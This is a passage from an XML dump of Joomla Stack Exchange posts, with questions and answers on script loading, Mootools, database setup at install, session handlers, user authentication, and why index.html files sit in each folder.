$YjsgJViewDefault = str_replace('class ' . $isView, 'class Yjsg' . $isView . 'Default', $YjsgJViewDefault);&#xA;        JFile::write($YjsgJViewDefaultFile, $YjsgJViewDefault);&#xA;    }&#xA;&#xA;    require_once($YjsgJViewDefaultFile);&#xA;    jimport('joomla.application.component.view');&#xA;    JLoader::register($isView, YJSGEXTEND . $IsJversion . '/component/view.php', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-04-25T12:54:33.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="325" PostTypeId="1" AcceptedAnswerId="330" CreationDate="2014-04-25T13:44:43.410" Score="10" ViewCount="2366" Body="&lt;p&gt;I developed a module recently that required certain JS and CSS files to be injected into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of each page. Initially, I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(JURI::base(true).'/modules/mod_x/js/mod_x.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I noticed that when caching was enabled the site loaded both a cached version from &lt;code&gt;/cache&lt;/code&gt; and non-cached version from &lt;code&gt;/modules/mod_x/js/&lt;/code&gt;, causing JS errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I changed this to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::script(Juri::base().'modules/mod_x/js/mod_x.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script was loaded only once, from cache, resolving these errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;http://docs.joomla.org/J3.2%3aAdding_JavaScript_and_CSS_to_the_page&quot;&gt;read in the docs&lt;/a&gt; that the &lt;code&gt;addScript&lt;/code&gt; method was more 'low level' than the &lt;code&gt;JHtml:script&lt;/code&gt; method, but beyond saying that...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Of course, you will also need to manually code some of the steps [that JHtml:script does for you] that would be done automatically using the [JHtml:script method] above [if you use addScript].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...no further detail is given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the difference? I assume &lt;code&gt;JHtml:script&lt;/code&gt; eventually calls &lt;code&gt;addScript&lt;/code&gt; on a document object at some point, but are other intermediary steps taken first?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="168" LastEditDate="2014-07-31T15:02:08.323" LastActivityDate="2014-07-31T15:02:08.323" Title="What's the difference between JHtml:script() and $doc-&gt;addScript?" Tags="|php|development|module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="326" PostTypeId="1" AcceptedAnswerId="328" CreationDate="2014-04-25T13:58:25.250" Score="1" ViewCount="75" Body="&lt;p&gt;In the Joomla 3.X series I see there is a move away from Mootools to jQuery, with refactoring still ongoing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Mootools is still required for the Smart Search module to enable autocomplete (the JS &lt;code&gt;Class&lt;/code&gt; implementation of Mootools is used in the inline Javascript of the Smart Search module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly, Mootools is included on the Smart Search results page, so autocomplete works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Mootools is only included on some pages, and so autocomplete fails with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Class is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to my template it works correctly on all pages. As it stands, the library loads on certain pages and not others, and I can't see a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this behaviour, or know how to resolve it without template hacks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for J3.2.3.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-04-25T14:29:34.700" Title="Why does mod_smartsearch not load Mootools in J3.X, even though it needs it?" Tags="|mootools|smartsearch|joomla-3.2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="327" PostTypeId="2" ParentId="323" CreationDate="2014-04-25T14:11:02.587" Score="1" Body="&lt;p&gt;As with my &lt;a href=&quot;https://joomla.stackexchange.com/questions/274/filtering-content-in-a-single-plugin-or-many/284#284&quot;&gt;other answer on plugin performance&lt;/a&gt;, the best way to find out is to &lt;strong&gt;test&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the other answer for details, but it should be easy to add time logging statements using the JLog class to compare the timing results of each method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you need to catch the shortcode &lt;strong&gt;everywhere&lt;/strong&gt; on the site then &lt;code&gt;onAfterRender&lt;/code&gt; is the quick, easy and perhaps only way (using plugins).&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-04-25T14:11:02.587" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="328" PostTypeId="2" ParentId="326" CreationDate="2014-04-25T14:29:34.700" Score="1" Body="&lt;p&gt;Simple answer: It's obviously a bug and you are welcome to open an issue at &lt;a href=&quot;http://issues.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/&lt;/a&gt; (and &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemBrowse&amp;amp;tracker_id=8103&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemBrowse&amp;amp;tracker_id=8103&lt;/a&gt; as long as it's still alive)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can provide a PR to fix it, even better.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-25T14:29:34.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="330" PostTypeId="2" ParentId="325" CreationDate="2014-04-25T14:34:23.820" Score="8" Body="&lt;p&gt;&lt;code&gt;JHtml::script&lt;/code&gt; has additional logic included. See &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JHtml.html#method_script&quot; rel=&quot;noreferrer&quot;&gt;http://api.joomla.org/cms-3/classes/JHtml.html#method_script&lt;/a&gt; for the API reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default it will detect debug setting and browser used and load the matching script. For example when debug is enabled it will load an uncompressed version of the file if present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are optional settings which allow to override the file on a template level and other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael Babker wrote a good guide how to use &lt;code&gt;JHtml::script()&lt;/code&gt; to allow overrides:&#xA;&lt;a href=&quot;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&quot; rel=&quot;noreferrer&quot;&gt;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function in repo for reference:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/html/html.php#L659&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/html/html.php#L659&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official doc page which is now updated by George: &lt;a href=&quot;http://docs.joomla.org/J3.3%3aAdding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/J3.3:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-04-30T19:07:07.857" LastActivityDate="2014-04-30T19:07:07.857" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="331" PostTypeId="1" AcceptedAnswerId="332" CreationDate="2014-04-25T15:25:17.047" Score="6" ViewCount="2329" Body="&lt;p&gt;Before you install Joomla do you need to create the database first?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-27T02:17:05.070" Title="Are you required to create the database before you install Joomla?" Tags="|installation|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostTypeId="2" ParentId="331" CreationDate="2014-04-25T15:25:17.047" Score="7" Body="&lt;p&gt;No, when installing for MySQL there is no need to create the database first. The credentials (Username and password) you use to connect to the database server do need to have the permissions to create a database. The database server needs to exist and be running for the Joomla installation to create the database.&#xA;Some providers don't allow this and give you credentials for a specific database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, when installing for MSSQL or PostgreSQL the database needs to exist before installing Joomla. They don't allow to attach to the database server and create the database upon installation. If you are not provided an existing database you need to create the database using the management tools of the RDBMS or request your provider to create one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The installation also allows you to point to an existing database. This allows you to have more than one installation in the same database.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditDate="2014-04-26T08:32:21.117" LastActivityDate="2014-04-26T08:32:21.117" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostTypeId="2" ParentId="331" CreationDate="2014-04-25T15:51:09.113" Score="2" Body="&lt;p&gt;Yes and no. The documentation says this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the Database&lt;/li&gt;&#xA;&lt;li&gt;Create a database user and password&lt;/li&gt;&#xA;&lt;li&gt;Add the user to the database (which also involves checking ALL boxes for permissions)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is easy to do in Cpanel. I can't say much for other admins. It's also pretty easy to do in Godaddy's dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Joomla doc article about this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Creating_a_Database_for_Joomla!&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Creating_a_Database_for_Joomla!&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT, as others have pointed out in their answers, if you enter your mysql username and password, and that database user has full create access, all you need to do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter the database user and password&lt;/li&gt;&#xA;&lt;li&gt;Enter the name of the database you want created for you.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's the important part when creating your database user. Make sure all the boxes are checked like the image here shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/File%3aCPanel-set-MySQL-user-privileges.png&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/File:CPanel-set-MySQL-user-privileges.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that isn't done right, joomla won't be able to create the database for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had no idea this was even a feature because I've never seen it documented anywhere that I've read. It was a new one for me. :)&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2014-04-26T17:00:11.827" LastActivityDate="2014-04-26T17:00:11.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostTypeId="1" AcceptedAnswerId="335" CreationDate="2014-04-25T15:51:15.813" Score="11" ViewCount="16417" Body="&lt;p&gt;In Joomla's Global Configuration there is an option &quot;Session Handler&quot;, its description says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The mechanism by which Joomla! identifies a User once they are&#xA;  connected to the web site using non-persistent cookies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However I still don't understand what it tries to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the advantages and disadvantages of both? &#xA;How do I know which option is good me?&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="115" LastEditDate="2014-04-25T17:56:51.717" LastActivityDate="2016-01-25T16:12:06.667" Title="Session Handler, &quot;Database&quot; or &quot;None&quot;?" Tags="|cms|session|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="335" PostTypeId="2" ParentId="334" CreationDate="2014-04-25T16:07:11.743" Score="3" Body="&lt;p&gt;In the none option it use the default php session handle, which use files to store the session data. In the database option it use the database to store the session data.&#xA;In &lt;a href=&quot;http://www.tuxradar.com/practicalphp/10/3/7&quot; rel=&quot;nofollow&quot;&gt;http://www.tuxradar.com/practicalphp/10/3/7&lt;/a&gt; you can know more about Files vs. Databases in the session&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-25T16:07:11.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="337" PostTypeId="2" ParentId="334" CreationDate="2014-04-25T16:35:20.770" Score="3" Body="&lt;p&gt;Just to add my 2 cents: I've found in earlier versions of Joomla that the &lt;code&gt;_sessions&lt;/code&gt; table often becomes corrupted on sites receiving a large number of unique visitors and hence open sessions, bringing the site down until the table is repaired / cleared. Using &lt;strong&gt;None&lt;/strong&gt; resolved this for me.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-04-25T16:35:20.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostTypeId="2" ParentId="334" CreationDate="2014-04-25T17:58:52.500" Score="6" Body="&lt;p&gt;Similar to @codinghands's answer, writing the session to the database caused us to have too many connections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14506124/joomla-is-causing-too-many-connections-database-errors&quot;&gt;https://stackoverflow.com/questions/14506124/joomla-is-causing-too-many-connections-database-errors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database wasn't corrupted, but it brought our site down. We managed to resolve it by changing the session handler to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you may want to look into how PHP is storing your session. Ours were being written to the hard disk. This was slow (up to ~200ms), and isn't good if you want to load balance your servers. The mysql option would be good for load balancing if you can get around the 'too many connections problem'&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-04-25T19:35:08.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostTypeId="1" AcceptedAnswerId="351" CreationDate="2014-04-25T18:24:19.733" Score="7" ViewCount="2856" Body="&lt;p&gt;A couple years back I wrote a small and very incomplete component that authenticated users coming from outside of Joomla! i.e. a mobile application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a proper or preferred way of handing this?&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2014-04-25T21:16:27.723" Title="What's the proper way to authenticate a user?" Tags="|development|joomla-3.x|recommended-practices|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostTypeId="2" ParentId="305" CreationDate="2014-04-25T18:24:50.367" Score="0" Body="&lt;p&gt;I have seen a similar issue before, enter the database and look at the table &lt;code&gt;#__update_sites&lt;/code&gt; make sure there is no spaces or line breaks before or after the url for the server its looking at. This was a problem in SobiPro, but if one component has that issue it basically completely breaks the extension manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not see spaces in any of the update_sites then this is probably not the issue.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-25T18:24:50.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="341" PostTypeId="2" ParentId="300" CreationDate="2014-04-25T18:30:10.620" Score="4" Body="&lt;p&gt;This answer depends on 2 things being true, but if its not applicable to your problem, it might be useful for others.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use git, remove the .git folder, this can be MASSIVE at times, (we had a 1mb site have a 4 gb .git folder before).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use Akeeba, remove old backups, if its an old site I believe at some point Akeeba backup had the backups stored in a folder in the root directory, then moved to inside its own component folder later, we have noticed old backups in the original root one that had a few GB's of backups that were no longer needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-25T18:30:10.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="342" PostTypeId="2" ParentId="339" CreationDate="2014-04-25T18:53:38.873" Score="3" Body="&lt;p&gt;You want to use something like OAuth/OAuth2. My idea here is not true OAuth but based on my knowledge of Joomla the easiest way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Validate the user via API call to the component in Joomla to create a token that is attached to their IP, then redirect them with a GET request that validates that token and creates the session for them. The token is easy to secure since it relies on the IP to authenticate the already authenticated user, best way is to make sure it can only be used once. For the API call it should be a SSL encrypted POST request for the best results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So send a POST request to you component containing the users IP, username and password. If it is all valid then you send back a token. You then redirect the user to your component containing that token to set the session. I do not know how the Joomla API can be used to log a person in, but I am sure there is something for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Seems csbenjamin answer has went into the API for logging in.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-04-25T18:58:59.043" LastActivityDate="2014-04-25T18:58:59.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostTypeId="2" ParentId="339" CreationDate="2014-04-25T18:55:41.980" Score="4" Body="&lt;p&gt;You can use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;login($credentials);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$credentials = Array('username' =&amp;gt; string, 'password' =&amp;gt; string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-25T18:55:41.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="344" PostTypeId="2" ParentId="216" CreationDate="2014-04-25T18:59:52.590" Score="2" Body="&lt;p&gt;I generally use css @media to make this happen. Makes it simple to hide things depending on screen size and have them parse for times when a landscape tablet is wide enough to show it and the portrait width is not. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width:699px) {&#xA;    #moduleid, .modulewrapperclass {display:none}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I usually use this to hide an entire module position so I base my css selector on the wrapper of that position (or positions in some templates).&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-04-25T18:59:52.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="345" PostTypeId="2" ParentId="299" CreationDate="2014-04-25T19:06:08.727" Score="10" Body="&lt;p&gt;These other answers will probably lead you to the answer, however one thing I noticed as a minor problem is some plugins set up error_reporting on there own and that can override Joomla's Error reporting, so another way to fix this is to disable extensions one at a time until the site loads, plugins being the main offender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually check other pages, does it load? If it does its a module or component only loaded on the front page, helping you isolate it. Also updating your extensions is a good idea too, if it worked before perhaps your environment was PHP 5.2 and when you moved to 5.3 or 5.4 there was a major error being through by the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically an update to an extension can fix that, as long as its actively maintained. Though in some cases it could be your template.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-25T19:06:08.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostTypeId="2" ParentId="323" CreationDate="2014-04-25T19:31:14.183" Score="1" Body="&lt;p&gt;onContentPrepare is more or less build for the output of extensions. It is my opinion that there should be no where else a find/replace on load should be added. The reason I say this is to make sure that Joomla stays consistent with its methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if some sort of find/replace is needed it can be best to put it in a custom HTML module instead (you can also create a custom layout for it and such). This way content plugins stay parsing your content, leaving your system plugins to adjust environment settings and such, or load extra libraries (basically, adjust Joomla's core and extend it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look into the nonumber extensions, mainly the Advanced module manager, it lets you target modules with many more settings. While it might not help you, the control they give can lead to alternate solutions you would not think of otherwise.&#xA;&lt;a href=&quot;http://www.nonumber.nl/&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-04-25T19:31:14.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="347" PostTypeId="1" CreationDate="2014-04-25T19:46:00.823" Score="8" ViewCount="263" Body="&lt;p&gt;There has been an PR to remove the index.html files, but it was never applied. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="10" LastEditDate="2014-04-25T20:59:23.557" LastActivityDate="2014-04-25T22:13:11.637" Title="Why does a Joomla distribution still contain index.html in each folder?" Tags="|recommended-practices|packaging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="348" PostTypeId="2" ParentId="347" CreationDate="2014-04-25T20:01:59.577" Score="7" Body="&lt;p&gt;The reason for a index.html in each folder is to protect it for disclose information on mis-configured hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a real problem and should the cms consider that is another question.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-25T20:01:59.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostTypeId="1" CreationDate="2014-04-25T20:47:58.080" Score="1" ViewCount="446" Body="&lt;p&gt;I have been working hard for the past few months on &#xA;our template framework update. For now everything seems well &#xA;but I would like to hear from experienced Joomla devs if they see any issues &#xA;with this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the beginning I wanted to have my own blank / empty template admin page to do what I like in there. &#xA;No extra admin template js/css , no html/js overload. Just my own page to present the template admin form &#xA;in the best way possible. A form that looks same in any Joomla version.&lt;br&gt;&#xA;This is what I came up with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/378tyx&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/378tyx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/378u3i&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/378u3i&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to achieve that I had to override the JDocumentHtml , ( THANK YOU to Donald Gilbert for great info )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin helped explain the process &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/15611&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/style-a-design/templating/15611&lt;/a&gt;&#xA;but I did not like the eval use so I came up with my own version where in fact I read the original JDocumentHtml &#xA;make new file inside plugin folder with its contents, replace strings , name the file than call it in plugin construct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/378vfz&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/378vfz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than I call the _fetchTemplate method extend file, which basically redirects the look for admin template index.php , to look &#xA;inside the plugin folder for index.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/378wna&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/378wna&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this works well . I made sure that if user is updating Joomla , the old copied class names are deleted , and when he &#xA;goes inside admin again they are recreated with new JDocumentHtml class content.&#xA;This way I make sure that we dont miss any changes or updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/378xfw&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/378xfw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you had time to go trough this , please do give some info so that I can make sure that we did not miss anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="159" LastEditDate="2014-04-30T16:20:48.343" LastActivityDate="2014-04-30T16:20:48.343" Title="Is this the right way to extend Joomla class?" Tags="|plugin|template-framework|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostTypeId="2" ParentId="347" CreationDate="2014-04-25T21:09:20.950" Score="9" Body="&lt;p&gt;I feel like this is an &quot;edge case&quot; scenario. A large portion of Joomla users would be secure and safe without these files, but some people run Joomla on a mis-configured host (and some on a misconfigured host that won't let them reconfigure) which would display directory contents if the directory was requested. This file prevents that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a personal level, if you don't need the files, it is unnecessary bloat in the cms and you can remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the CMS level, I think that it solves a problem that can have major security issues with relatively minor bloat. (The files are usually empty or contain a tiny line of html.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't speak to the exact reason that the PR was not accepted (since I don't even have that power, much less chat with the people that do); I think that the relative benefit to the community outweighs the bloat.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That being said there is an alternate method that I have heard mentioned at a few Joomla events about moving the majority of the files &quot;up a level&quot;. The idea is to get all the files above the &lt;code&gt;public_html&lt;/code&gt; directory so that the files could not be accessed directly. You would only want the &lt;code&gt;index.php&lt;/code&gt; file, &lt;code&gt;.htaccess&lt;/code&gt; file, and the &lt;code&gt;images&lt;/code&gt; and &lt;code&gt;media&lt;/code&gt; folders web accessible (to keep your CSS, JS, and images accessible.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, you rely less on a base server configuration and can more guarantee that the files won't be accessed inappropriately. This would have its own configuration issues (since now we need to access files above our &quot;root&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, I'm not sure that there is a more fool-proof plan to keep people secure without lots of issues than using &lt;code&gt;index.html&lt;/code&gt; files. So if I was releasing a platform generally, I would stick to &lt;code&gt;index.html&lt;/code&gt; files.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-25T21:09:20.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostTypeId="2" ParentId="339" CreationDate="2014-04-25T21:16:27.723" Score="5" Body="&lt;p&gt;Based on your comment, you are looking for an OAuth setup. As far as I know, Joomla has Oauth classes built in to the core, but these classes are to allow Joomla to act as the client (your mobile app is a client in your case). They do not give you the option to run as a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just recently used this package to set up an OAuth2 Server on the Joomla Framework: &lt;a href=&quot;https://github.com/bshaffer/oauth2-server-php&quot;&gt;https://github.com/bshaffer/oauth2-server-php&lt;/a&gt;. It worked very well. This will definitely take a few days to get all set up and running, but you can definitely set this up within Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple different methods to authenticate a user within OAuth2. The common approach is to have the client redirect the user to your site to enter their login information. Then you redirect the user back to the client with a code that the client turns into an access token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it sounds like you also control the mobile application, this is unnecessary. You trust the client (I hope), so you can just have the user login to the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would then use the &quot;Resource Owner/Password Credentials&quot; option outlined here: &lt;a href=&quot;http://bshaffer.github.io/oauth2-server-php-docs/overview/grant-types/&quot;&gt;http://bshaffer.github.io/oauth2-server-php-docs/overview/grant-types/&lt;/a&gt;. This has the mobile app just ship the user/password entered over to your Joomla site, and then the Joomla site ships back a token for validation. The token can be saved and used the next time instead of having them login again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives you control on the Joomla site to invalidate tokens to force mobile users to login again.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-25T21:16:27.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostTypeId="2" ParentId="347" CreationDate="2014-04-25T22:13:11.637" Score="0" Body="&lt;p&gt;To my knowledge, there was never a PR for that. There is a feature tracker (&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=30192&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=30192&lt;/a&gt;) which is &quot;ready for review&quot;.&#xA;The patch only exists in a branch and isn't a PR.&#xA;Thus this is likely the reason why it never was merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you referring to another PR?&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-25T22:13:11.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
